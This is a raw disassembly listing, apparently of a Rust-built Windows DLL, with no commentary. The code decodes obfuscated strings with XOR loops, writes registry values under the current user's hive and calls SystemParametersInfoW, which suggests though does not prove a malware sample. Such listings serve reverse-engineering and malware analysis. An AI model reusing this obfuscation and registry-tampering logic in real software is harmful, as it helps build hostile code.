shl r13, 0x30
or r13, r8
shl r15, 0x28
shl rbx, 0x20
shl rdi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rdi
or r9, rbx
or r9, r15
or r9, r13
xor r9, qword [rax + rdx]
mov qword [rbp + rdx + 0x2438], r9
xor r9d, r9d
mov rdx, r12
jmp 0x18000dbfe
push 8
pop r10
mov rdi, qword [rbp + 0x2480]
mov rbx, qword [rbp + 0x2470]
mov rdx, qword [rbp + 0x2478]
lea r15, [rbp + 0x2150]
cmp r10, 0xb
ja 0x18000dcf9
movzx r8d, byte [r10 + rcx + 2]
shl r8d, 0x10
movzx r9d, word [r10 + rcx]
add r8d, r9d
add r8d, 0x6e000000
xor r8d, dword [rax + r10]
mov dword [rbp + r10 + 0x2438], r8d
add r10, 4
jmp 0x18000dcc8
mov eax, dword [rbp + 0x2440]
mov dword [rbp + 0x2408], eax
mov rax, qword [rbp + 0x2438]
mov qword [rbp + 0x2400], rax
lea rax, [rbp + 0x2400]
mov qword [rbp + 0x2410], rax
mov qword [rbp + 0x2418], recv
mov rcx, rbx
call fcn.1800c6d00
test rax, rax
je 0x18000e2d5
mov qword [rbp + 0x2438], rax
mov qword [rbp + 0x2440], rdx
lea rax, [rbp + 0x2438]
mov qword [rbp + 0x22f8], rax
lea rsi, [rbp + 0x2150]
lea rax, [rbp + 0x2410]
mov qword [rsi], rax
lea rax, [0x1800161b0]
mov qword [rsi + 8], rax
lea rax, [rbp + 0x22f8]
mov qword [rsi + 0x10], rax
lea rax, str._rustc_8ede3aae28fe6e4d52b38157d7bfe0d3bceef225librarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
lea rdi, [rbp - 0x30]
mov qword [rdi], rax
mov qword [rdi + 8], 3
and qword [rdi + 0x20], 0
lea rax, [0x18004fafc]
mov qword [rsi + 0x18], rax
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 2
lea rbx, [rbp + 0x2300]
mov rcx, rbx
mov rdx, rdi
call fcn.18000454a
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rbx, [rbp + 0x22a0]
mov rcx, rbx
call fcn.180015c10
mov rax, qword [rbx]
mov rcx, qword [rbx + 0x10]
add rcx, rax
mov qword [rdi], rax
mov qword [rdi + 8], rcx
and word [rdi + 0x10], 0
mov dword [rdi + 0x18], 1
lea rdx, [rbp - 0x30]
mov rcx, rsi
call fcn.1800d5d6a
mov rdi, qword [rsi]
mov rsi, qword [rsi + 0x10]
add rsi, rsi
test rsi, rsi
je 0x18000e2ed
setns al
js 0x18000e961
movzx r15d, al
mov rcx, r15
mov rdx, rsi
call fcn.18001609c
mov rbx, rax
test rax, rax
jne 0x18000e2f0
mov rcx, r15
mov rdx, rsi
call fcn.1800d73d0
ud2
lea rsi, [rbp - 8]
mov rcx, rsi
call fcn.180035fa1
mov byte [rsi + 0xc8], 1
and dword [rsi + 0xc9], 0
and dword [rsi + 0xcc], 0
lea rax, [rbp + 0x58]
xorps xmm0, xmm0
movups xmmword [rax + 0x70], xmm0
push 0xb
pop rcx
lea rsi, [rbp + 0x22a0]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov dword [rax + 0x60], 0x3b9aca00
mov byte [rax + 0x80], 2
mov r15, qword [rax - 0x80]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x2300]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
lock inc qword [rbx]
jle 0x18000e95d
lea rsi, [rbp + 0x22a0]
mov qword [rsi], rbx
mov qword [rsi + 8], r13
mov dword [rsi + 0x10], r12d
lea rdi, [rbp - 0x20]
mov qword [rdi - 0x10], rax
mov qword [rdi - 8], r15
lea r12, [rbp + 0x2300]
mov r8d, 0x100
mov rcx, rdi
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi + 0x100], 2
lea rdi, [rbp + 0x2150]
lea r8, [rbp - 0x30]
mov rcx, rdi
mov rdx, rsi
call fcn.18009f0a8
lea rsi, [rbp + 0x2090]
mov rcx, rsi
mov rdx, rdi
call fcn.18009f5f0
lea rcx, [rbp + 0x2410]
call fcn.18009f5db
mov rsi, qword [rsi]
cmp rsi, 3
jne 0x18000df68
mov rbx, qword [rbp + 0x2098]
mov r13, qword [rbp + 0x2458]
mov r15, qword [rbp + 0x2478]
mov rcx, rbx
call fcn.1800d5ad0
mov r12, rax
mov rdi, qword [rbp + 0x2480]
mov rbx, qword [rbp + 0x2468]
jmp 0x18000e686
lea rdx, [rbp + 0x20a0]
mov rdi, qword [rdx - 8]
lea rbx, [rbp + 0x1fe0]
mov r8d, 0xb0
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx - 0x10], rsi
mov qword [rbx - 8], rdi
xorps xmm6, xmm6
xor edi, edi
cmp rdi, 0x2001
jae 0x18000e947
mov r8d, 0x2000
sub r8, rdi
lea rcx, [rdi + rbp]
add rcx, 0xffffffffffffffd0
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rax, qword [rbp + 0x2068]
mov qword [rbp + 0x2460], rax
mov ebx, dword [rbp + 0x2070]
mov r13, qword [rbp + 0x2078]
test r13, r13
je 0x18000dfe6
mov r15, qword [rbp + 0x2080]
jmp 0x18000e081
lea rax, [rbp + 0x1fe0]
movups xmm0, xmmword [rax + 0x60]
movups xmm1, xmmword [rax + 0x70]
lea rcx, [rbp + 0x2178]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
lea rcx, [0x18012df98]
mov qword [rbp + 0x2040], rcx
lea rcx, str._rustc_8ede3aae28fe6e4d52b38157d7bfe0d3bceef225librarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rbp + 0x2048], rcx
movups xmmword [rax + 0x70], xmm6
push 9
pop r15
mov rcx, r15
mov rdi, r12
lea rsi, [rbp + 0x2150]
rep movsq qword [rdi], qword [rsi]
push 0x50
pop rcx
push 8
pop rdx
call fcn.18003ab21
mov r13, rax
mov qword [rax], 1
lea rdi, [rax + 8]
mov rcx, r15
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rbp + 0x2078]
mov rdx, qword [rbp + 0x2080]
call fcn.1800a05be
mov qword [rbp + 0x2078], r13
lea r15, [0x1801318c0]
mov qword [rbp + 0x2080], r15
mov esi, 0x3b9aca00
cmp ebx, 0x3b9aca00
je 0x18000e0aa
call fcn.1800c3120
mov rcx, rax
mov r8, qword [rbp + 0x2460]
mov r9d, ebx
call fcn.1800c35c0
mov rdi, rax
mov esi, edx
call fcn.1800ac3c0
mov rcx, rax
call fcn.18009ed87
add rax, 0x10
lea rcx, [0x18012b568]
mov qword [rbp + 0x2300], rcx
mov qword [rbp + 0x2308], rax
mov qword [rbp + 0x2090], r12
mov r12, qword [r15 + 0x18]
lea rbx, [rbp - 0x30]
mov qword [rsp + 0x20], 0x2000
lea rcx, [rbp + 0x2150]
mov rdx, r13
lea r8, [rbp + 0x2090]
mov r9, rbx
call r12
mov rax, qword [rbp + 0x2150]
cmp rax, 2
jne 0x18000e156
cmp esi, 0x3b9aca00
jne 0x18000e11b
call fcn.1800ac420
jmp 0x18000e0df
call fcn.1800c3120
mov rbx, rax
mov r15d, edx
mov rcx, rax
mov r8, rdi
mov r9d, esi
call fcn.18009f064
test al, al
jne 0x18000e261
mov rcx, rdi
mov edx, esi
mov r8, rbx
mov r9d, r15d
call fcn.1800ce503
mov rcx, rax
call fcn.1800ac600
jmp 0x18000e0db
test rax, rax
mov rsi, qword [rbp + 0x2158]
mov r15, qword [rbp + 0x2478]
lea r12, [rbp + 0x2300]
test rax, rax
sete dil
mov rax, qword [rbp + 0x2300]
mov rcx, qword [rbp + 0x2308]
call qword [rax + 0x18]
test dil, dil
je 0x18000e24e
cmp rsi, 0x2001
mov edi, 0x2000
cmovae rdi, rsi
mov r8d, 0x2000
mov rcx, rsi
mov rdx, rbx
call fcn.1800d5b56
test rdx, rdx
je 0x18000e6b9
mov r8d, 0x2000
mov rcx, rsi
mov rdx, rbx
call fcn.1800d5b56
mov r8d, 0x2000
mov rcx, rsi
mov rdx, rbx
call fcn.1800d5b56
mov r13, rax
mov rbx, rdx
test rbx, rbx
je 0x18000df95
lea rcx, [rbp + 0x2150]
mov rdx, r15
mov r8, r13
mov r9, rbx
call fcn.1800ab1a0
cmp qword [rbp + 0x2150], 0
je 0x18000e22a
mov rsi, qword [rbp + 0x2158]
mov rcx, rsi
call fcn.1800c95bc
cmp al, 0x23
jne 0x18000e5c8
mov rcx, rsi
call fcn.180003c0c
jmp 0x18000e1e1
mov rcx, qword [rbp + 0x2158]
test rcx, rcx
je 0x18000e5c1
mov rax, rbx
sub rax, rcx
jb 0x18000e924
add r13, rcx
mov rbx, rax
jmp 0x18000e1e1
test rsi, rsi
je 0x18000e27c
jne 0x18000e28c
mov edi, 0x2000
xor esi, esi
jmp 0x18000e19f
xor esi, esi
xor edi, edi
mov r15, qword [rbp + 0x2478]
lea r12, [rbp + 0x2300]
lea rbx, [rbp - 0x30]
jmp 0x18000e175
call fcn.1800a05b5
mov rcx, rax
call fcn.1800570f5
mov rsi, rax
mov rcx, rsi
call fcn.1800c95bc
cmp al, 0x23
jne 0x18000e5c8
mov rcx, rsi
call fcn.180003c0c
mov edi, 0x2000
jmp 0x18000df95
call sub.KERNEL32.dll_GetLastError
mov esi, eax
shl rsi, 0x20
or rsi, 2
test r14, r14
je 0x18000e2cd
push 2
pop rdx
mov rcx, rbx
call fcn.180013220
mov rbx, r15
jmp 0x18000d4e4
lea rdx, [0x1800dc434]
push 0xb
pop r8
mov rcx, rdi
call fcn.180001051
jmp 0x18000e3b5
push 1
pop rbx
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x2150]
mov rdx, qword [rbp + 0x2158]
call fcn.1800d616a
lea rdi, [rbp - 0x30]
lea rdx, [rbp + 0x2428]
push 6
pop r8
mov rcx, rdi
call fcn.18009b5fa
mov r12, qword [rdi]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
push 1
pop r9
mov rcx, r14
mov rdx, r12
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov r15d, eax
mov rdx, qword [rdi + 8]
mov rcx, r12
call fcn.1800d616a
mov rcx, rbx
mov rdx, rsi
call fcn.180048dc8
test r15d, r15d
je 0x18000e3ec
shl r15, 0x20
or r15, 2
mov rcx, qword [rbp + 0x2480]
mov rdx, r15
call fcn.180001000
mov rcx, qword [rbp + 0x22a0]
mov rdx, qword [rbp + 0x22a8]
call fcn.180048dc8
mov rcx, qword [rbp + 0x2300]
mov rdx, qword [rbp + 0x2308]
call fcn.180048dc8
mov rsi, qword [rbp + 0x2090]
mov rbx, qword [rbp + 0x1fd0]
mov rcx, r14
call fcn.1800d6180
mov rdx, qword [rbp + 0x2098]
mov rcx, rsi
call fcn.180048dc8
mov rcx, 0xffffffff80000001
call fcn.1800d6180
mov rdx, qword [rbp + 0x1fd8]
mov rcx, rbx
call fcn.180048dc8
jmp 0x18000ceb4
mov rcx, qword [rbp + 0x22a0]
mov rdx, qword [rbp + 0x22a8]
call fcn.180048dc8
mov rcx, qword [rbp + 0x2300]
mov rdx, qword [rbp + 0x2308]
call fcn.180048dc8
lea rax, [0x1800d6bc5]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0xf014cc1c000fa06f
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.1800049db
and dword [rbp - 0x28], 0
and qword [rbp - 0x30], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc43f]
push 8
pop rdx
test r9b, 1
je 0x18000e4f6
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r12, r8
or r12, 7
mov r15, r8
or r15, 6
movzx r15d, byte [r15 + rcx]
movzx r12d, byte [r12 + rcx]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r15
xor r9, qword [rax + r8]
mov qword [rbp + r8 - 0x30], r9
xor r9d, r9d
mov r8, rdx
jmp 0x18000e451
push 8
pop rdx
mov rsi, qword [rbp + 0x2480]
cmp rdx, 0xb
ja 0x18000e52e
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xb7000000
xor r8d, dword [rax + rdx]
mov dword [rbp + rdx - 0x30], r8d
add rdx, 4
jmp 0x18000e500
movzx ecx, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
xor eax, 0x6e53
mov word [rbp - 0x24], ax
xor cl, 3
mov byte [rbp - 0x22], cl
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x2150], rax
mov rax, qword [rbp - 0x29]
mov qword [rbp + 0x2157], rax
push recv
pop rcx
call fcn.1800cec71
mov rcx, qword [rbp + 0x2150]
mov r8, qword [rbp + 0x2157]
mov qword [rax], rcx
mov qword [rax + 7], r8
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], recv
mov rcx, r14
call fcn.1800d6180
mov rcx, qword [rbp + 0x2090]
mov rdx, qword [rbp + 0x2098]
call fcn.180048dc8
mov rcx, 0xffffffff80000001
call fcn.1800d6180
mov rcx, qword [rbp + 0x1fd0]
mov rdx, qword [rbp + 0x1fd8]
jmp 0x18000e3e2
lea rsi, str.failed_to_write_whole_buffer
mov r13, qword [rbp + 0x2458]
lea rdi, [rbp - 0x30]
mov rcx, rdi
mov rdx, rsi
call fcn.18002c780
cmp byte [rdi], 3
movabs rbx, 0x26f380c331795e92
jne 0x18000e603
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
call qword [rax + 0x38]
cmp rax, rbx
sete al
jmp 0x18000e605
mov al, 2
mov rdi, qword [rbp + 0x2480]
cmp al, 2
je 0x18000e659
and al, 1
je 0x18000e659
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x18000e968
lea rcx, [rsi - 1]
mov rdi, qword [rsi - 1]
mov rsi, qword [rsi + 7]
call fcn.1800170c0
mov rcx, rdi
call qword [rsi + 0x38]
cmp rax, rbx
jne 0x18000e980
mov rsi, qword [rdi]
push 8
pop rdx
mov rcx, rdi
call fcn.180013220
mov rdi, qword [rbp + 0x2480]
jmp 0x18000e668
mov cx, 5
mov rdx, rsi
call fcn.18009b829
mov rsi, rax
mov rbx, qword [rbp + 0x2468]
mov rcx, rsi
call fcn.1800d5ad0
mov r12, rax
lea rcx, [rbp + 0x1fd0]
call fcn.1800d5b7e
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rsi, [0x18015e2c0]
mov rdx, qword [rbp + 0x2440]
mov rcx, qword [rbp + 0x2470]
call fcn.180048dc8
mov rcx, rbx
mov rdx, r13
call fcn.180048dc8
jmp 0x18000bf41
lea rcx, [rbp + 0x1fd0]
call fcn.1800d5b7e
mov rcx, qword [rbp + 0x2470]
mov rdx, qword [rbp + 0x2430]
call fcn.1800c6d00
test rax, rax
je 0x18000e839
mov rdi, rax
mov rbx, rdx
mov rcx, rdx
call fcn.1800cec71
mov rsi, rax
mov qword [rbp + 0x2460], rdx
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x2478]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2438]
mov rdx, qword [rbp + 0x2440]
call fcn.180048dc8
mov rcx, qword [rbp + 0x2468]
mov rdx, qword [rbp + 0x2458]
call fcn.180048dc8
add rbx, rsi
lea rcx, [rbp + 0x2150]
mov qword [rbp + 0x2470], rsi
mov qword [rcx], rsi
mov qword [rcx + 8], rbx
and word [rcx + 0x10], 0
mov dword [rcx + 0x18], 1
call fcn.1800d5e77
test ax, ax
je 0x18000e883
mov edi, edx
lea rbx, [rbp - 0x30]
lea r13, [rbp + 0x2150]
mov rcx, rbx
mov rdx, r13
call fcn.1800d5f6e
mov rax, qword [rbx]
inc rax
push 0xffffffffffffffff
pop rcx
cmove rax, rcx
cmp rax, 5
push 4
pop rcx
cmovae rcx, rax
call fcn.1800d600c
mov r15, rax
mov word [rax], di
lea r12, [rbp + 0x2090]
mov qword [r12], rax
mov qword [r12 + 8], rdx
mov qword [r12 + 0x10], 1
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movaps xmmword [rbx + 0x10], xmm1
movaps xmmword [rbx], xmm0
push 1
pop rsi
lea r13, [rbp + 0x2300]
mov rcx, rbx
call fcn.1800d5e77
cmp ax, 1
jne 0x18000e830
mov edi, edx
cmp rsi, qword [rbp + 0x2098]
jne 0x18000e81f
mov rcx, r13
mov rdx, rbx
call fcn.1800d5f6e
mov rdx, qword [rbp + 0x2300]
inc rdx
push 0xffffffffffffffff
pop rax
cmove rdx, rax
mov rcx, r12
call fcn.1800d6067
mov r15, qword [rbp + 0x2090]
mov word [r15 + rsi*2], di
inc rsi
mov qword [rbp + 0x20a0], rsi
jmp 0x18000e7db
mov rbx, qword [rbp + 0x2098]
jmp 0x18000e889
lea rcx, [0x18015e47d]
push 0xc
pop rdx
call fcn.180014ed0
mov r12, rax
mov rcx, qword [rbp + 0x2478]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x2440]
mov rcx, qword [rbp + 0x2470]
call fcn.180048dc8
mov rcx, qword [rbp + 0x2468]
mov rdx, qword [rbp + 0x2458]
call fcn.180048dc8
jmp 0x18000bf33
push 2
pop r15
xor ebx, ebx
push setsockopt
pop rcx
xor r12d, r12d
push 3
pop r9
xor edx, edx
mov r8, r15
call sub.USER32.dll_SystemParametersInfoW
cmp eax, 1
je 0x18000e8b7
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
lea rcx, [rax + 2]
call fcn.180055c57
mov r12, rax
mov rcx, r15
mov rdx, rbx
call fcn.1800d616a
mov rcx, qword [rbp + 0x2470]
mov rdx, qword [rbp + 0x2460]
call fcn.180048dc8
lea rsi, fcn.180055c7e
jmp 0x18000bf3a
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syswindowsmod.rs
push 0x28
pop rdx
call fcn.1800d7810
jmp 0x18000e945
lea r8, [rbp - 0x30]
mov qword [r8], rsi
lea rax, str.library_std_src_syswindowsos.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1800a9710
push 0x2b
pop rdx
call fcn.1800d7aa0
jmp 0x18000e945
lea r8, str._rustc_8ede3aae28fe6e4d52b38157d7bfe0d3bceef225library_std_srciomod.rs
mov rdx, rbx
jmp 0x18000e956
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.1800d7790
ud2
lea r8, str._rustc_8ede3aae28fe6e4d52b38157d7bfe0d3bceef225library_std_srcio_readbuf.rs
mov edx, 0x2000
mov rcx, rdi
call fcn.1800d7710
ud2
ud2
call fcn.180014df0
ud2
lea rcx, str.io::Error::get_ref_was_Some___
lea r8, [0x180130cb8]
push 0x1e
pop rdx
call fcn.1800d7b40
ud2
lea r8, [rbp - 0x30]
mov qword [r8], rdi
mov qword [r8 + 8], rsi
lea rax, [0x180130ce8]
mov qword [rsp + 0x20], rax
lea rcx, str.StdError::is___was_true
lea r9, fcn.180055caf
push 0x17
pop rdx
call fcn.1800d7aa0
ud2